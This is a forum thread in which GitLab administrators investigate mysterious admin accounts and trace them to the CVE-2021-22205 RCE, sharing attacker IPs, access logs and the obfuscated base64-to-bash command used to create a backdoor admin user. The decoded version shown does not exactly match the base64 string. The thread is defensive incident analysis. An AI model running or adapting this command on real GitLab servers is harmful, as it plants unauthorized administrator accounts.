Potentially serious vulnerability on self-hosted Gitlab

Hello,

Sorry if this isn’t the right thread but we have a self-hosted Gitlab CE installation and we believe it’s been attacked. There have been several users who have had their accounts locked out from too many attempts over the past few months, even though they are legacy users who didn’t use it. We turned on 2FA and deleted the legacy accounts. From then, there were only 2 user accounts in the installation.

Last Friday, we noticed some accounts with random names managed to appear, including one with admin access; we shutdown the server and tried to do a post-mortem. The api_json, application_json and audit_json logs all fail to reveal how these accounts showed up and even if/when/how they managed to get access. Additionally, the api_json log doesn’t seem to show the hackers being successful in doing a pull of our code; it’s as if the accounts showed up magically. What we did notice is that the accounts that showed up later had previously been failed login attempts. Is it possible Gitlab, upon a failed attempt, recorded them as users?

We did manage to be behind on updating and were on version 12. Is there any known vulnerability that allowed arbitrary user accounts to be created?

It’s a bit odd but I am not sure where to start. Is this something that should be logged as an issue? The support page pointed to the community forum.

Thank in advance to any help with this.

I have seen the same on a customer’s private instance that was also on 12.
The account being created had full api and admin rights and we have no clue whether repositories were downloaded or not.

We have also seen the same on the Sep 4th:

Member since: Sep 4, 2021 3:28pm
Confirmed at: Aug 11, 2021 4:46pm
Last sign-in IP: 103.97.200.11
Last sign-in at: Sep 4, 2021 3:28pm

Running version 13.7.0

Whois IP Lookup: APNIC Whois Search | APNIC

So for anyone following in our instance the users where created using an (Unauthenticated) RCE being: CVE-2021-22205 : An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validati : Moral of the story, keep your private instances up to date and patched.

Details below if interested:

Usernames:
dexbcxh
dexbcxk
dexbcxi
dexbcx

IPS:
103.97.200.11
192.254.89.130
192.254.89.149
103.97.201.65
103.138.53.74
103.138.53.38
103.97.201.66
112.120.251.93

A successful attempt will appear in the access logs as:

logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:06 +0000] "GET /users/sign_in HTTP/1.1" 200 3708 "" "python-requests/2.25.1" 2.49
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:06 +0000] "POST /users/sign_in HTTP/1.1" 302 97 "" "python-requests/2.25.1" -
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:06 +0000] "GET / HTTP/1.1" 200 8920 "" "python-requests/2.25.1" 3.21
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:07 +0000] "GET /users/sign_in HTTP/1.1" 302 97 "" "python-requests/2.25.1" -
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:07 +0000] "GET / HTTP/1.1" 200 8917 "" "python-requests/2.25.1" 3.21
logs/nginx/gitlab_access.log.28.gz:103.97.201.65 - - [03/Sep/2021:09:25:48 +0000] "POST /uploads/personal_snippet HTTP/1.1" 422 24 "https://domain.com/projects" "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);" -

The bug report:

The script used (It requires a username and password, but these Don’t need to be an existing valid user):

In our case it was used to exec the following command

sh -c echo Z2l0bGFiLXJhaWxzIHJ1bm5lciAidXNlciA9IFVzZXIuY3JlYXRlKHVzZXJuYW1lOidhZG1pbnRlc3QnLHBhc3N3b3JkOicxMjM0NTY3OCcsZW1haWw6JyBhZG1pbnRlc3RAZ21haWwuY29tICcsbmFtZTonYWRtaW50ZXN0Jyxjb25maXJtZWRfYXQ6ICcyMDIxLTA4LTExIDE2OjQ2OjUzJyk7IHVzZXIuYWRtaW49dHJ1ZTsgdXNlci5zYXZlOyI= | base64 -d | bash

which is just the below base64 encoded

gitlab-rails runner "user = User.create(username:'dexbcx',password:'12345678',email:' dexbcx@gmail.com ',name:'dexbcx',confirmed_at: '2021-08-11 16:46:53'); user.admin=true; user.save;"

The gitlab issue: